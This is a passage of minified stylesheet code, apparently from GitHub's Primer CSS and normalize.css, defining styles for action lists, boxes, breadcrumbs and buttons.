active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) .ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription .ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 768px){.Box-row-link{color:var(--color-fg-default);text-decoration:none}.Box-row-link:hover{color:var(--color-accent-fg);text-decoration:none}}.Box-row--drag-button{opacity:0}.Box-footer{padding:16px;margin-top:-1px;border-top-color:var(--color-border-default);border-top-style:solid;border-top-width:1px;border-radius:0 0 6px 6px}.Box--scrollable{max-height:324px;overflow:scroll}.Box--blue{border-color:var(--color-accent-muted)}.Box--blue .Box-header{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box--blue .Box-body{border-color:var(--color-accent-muted)}.Box--blue .Box-row{border-color:var(--color-accent-muted)}.Box--blue .Box-footer{border-color:var(--color-accent-muted)}.Box--danger{border-color:var(--color-danger-emphasis)}.Box--danger .Box-row:first-of-type{border-color:var(--color-danger-emphasis)}.Box--danger .Box-body:last-of-type{border-color:var(--color-danger-emphasis)}.Box-header--blue{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box-row--yellow{background-color:var(--color-attention-subtle)}.Box-row--blue{background-color:var(--color-accent-subtle)}.Box-row--gray{background-color:var(--color-canvas-subtle)}.Box-btn-octicon.btn-octicon{padding:16px 16px;margin:-16px -16px;line-height:1.5}.Box--overlay{width:448px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-default);background-clip:padding-box;border-color:var(--color-border-default);box-shadow:0 0 18px rgba(0,0,0,.4)}.Box--overlay .Box-header{margin:0;border-width:0;border-bottom-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-overlay--narrow{width:320px}.Box-overlay--wide{width:640px}.Box-body.scrollable-overlay{max-height:400px;overflow-y:scroll}.Box-body .help{padding-top:8px;margin:0;color:var(--color-fg-muted);text-align:center}.breadcrumb-item{display:inline-block;margin-left:-0.35em;white-space:nowrap;list-style:none}.breadcrumb-item::after{display:inline-block;height:.8em;margin:0 .5em;content:"";border-right:.1em solid var(--color-fg-muted);transform:rotate(15deg)}.breadcrumb-item:first-child{margin-left:0}.breadcrumb-item-selected::after,.breadcrumb-item[aria-current]:not([aria-current=false])::after{content:none}.breadcrumb-item-selected a{color:var(--color-fg-default)}.btn{position:relative;display:inline-block;padding:5px 16px;font-size:14px;font-weight:500;line-height:20px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid;border-radius:6px;-webkit-appearance:none;appearance:none}.btn:hover{text-decoration:none}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{cursor:default}.btn i{font-style:normal;font-weight:500;opacity:.75}.btn .octicon{margin-right:4px;color:var(--color-fg-muted);vertical-align:text-bottom}.btn .octicon:only-child{margin-right:0}.btn .Counter{margin-left:2px;color:inherit;text-shadow:none;vertical-align:top;background-color:var(--color-btn-counter-bg)}.btn .dropdown-caret{margin-left:4px;opacity:.8}.btn{color:var(--color-btn-text);background-color:var(--color-btn-bg);border-color:var(--color-btn-border);box-shadow:var(--color-btn-shadow),var(--color-btn-inset-shadow);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);transition:none}.btn.selected,.btn[aria-selected=true]{background-color:var(--color-btn-selected-bg);box-shadow:var(--color-primer-shadow-inset)}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:var(--color-btn-bg);border-color:var(--color-btn-border)}.btn:disabled .octicon,.btn.disabled .octicon,.btn[aria-disabled=true] .octicon{color:var(--color-primer-fg-disabled)}.btn-primary{color:var(--color-btn-primary-text);background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow)}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:active,.btn-primary.selected,.btn-primary[aria-selected=true]{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled,.btn-primary.disabled,.btn-primary[aria-disabled=true]{color:var(--color-btn-primary-disabled-text);background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border)}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--color-btn-primary-disabled-text)}.btn-primary .Counter{color:inherit;background-color:var(--color-btn-primary-counter-bg)}.btn-primary .octicon{color:var(--color-btn-primary-icon)}a.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}a.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}a.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline{color:var(--color-btn-outline-text)}.btn-outline:hover,[open]>.btn-outline{color:var(--color-btn-outline-hover-text);background-color:var(--color-btn-outline-hover-bg);border-color:var(--color-btn-outline-hover-border);box-shadow:var(--color-btn-outline-hover-shadow),var(--color-btn-outline-hover-inset-shadow)}.btn-outline:hover .Counter,[open]>.btn-outline .Counter{background-color:var(--color-btn-outline-hover-counter-bg)}.btn-outline:hover .octicon,[open]>.btn-outline .octicon{color:inherit}.btn-outline:active,.btn-outline.selected,.btn-outline[aria-selected=true]{color:var(--color-btn-outline-selected-text);background-color:var(--color-btn-outline-selected-bg);border-color:var(--color-btn-outline-selected-border);box-shadow:var(--color-btn-outline-selected-shadow)}.btn-outline:active:focus,.btn-outline.selected:focus,.btn-outline[aria-selected=true]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:active:focus:not(:focus-visible),.btn-outline.selected:focus:not(:focus-visible),.btn-outline[aria-selected=true]:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-outline:active:focus-visible,.btn-outline.selected:focus-visible,.btn-outline[aria-selected=true]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:disabled,.btn-outline.disabled,.btn-outline[aria-disabled=true]{color:var(--color-btn-outline-disabled-text);background-color:var(--color-btn-outline-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-outline:disabled .Counter,.btn-outline.disabled .Counter,.btn-outline[aria-disabled=true] .Counter{background-color:var(--color-btn-outline-disabled-counter-bg)}.btn-outline .Counter{color:inherit;background-color:var(--color-btn-outline-counter-bg)}.btn-danger{color:var(--color-btn-danger-text)}.btn-danger .octicon{color:var(--color-btn-danger-icon)}.btn-danger:hover,[open]>.btn-danger{color:var(--color-btn-danger-hover-text);background-color:var(--color-btn-danger-hover-bg);border-color:var(--color-btn-danger-hover-border);box-shadow:var(--color-btn-danger-hover-shadow),var(--color-btn-danger-hover-inset-shadow)}.btn-danger:hover .Counter,[open]>.btn-danger .Counter{background-color:var(--color-btn-danger-hover-counter-bg)}.btn-danger:hover .octicon,[open]>.btn-danger 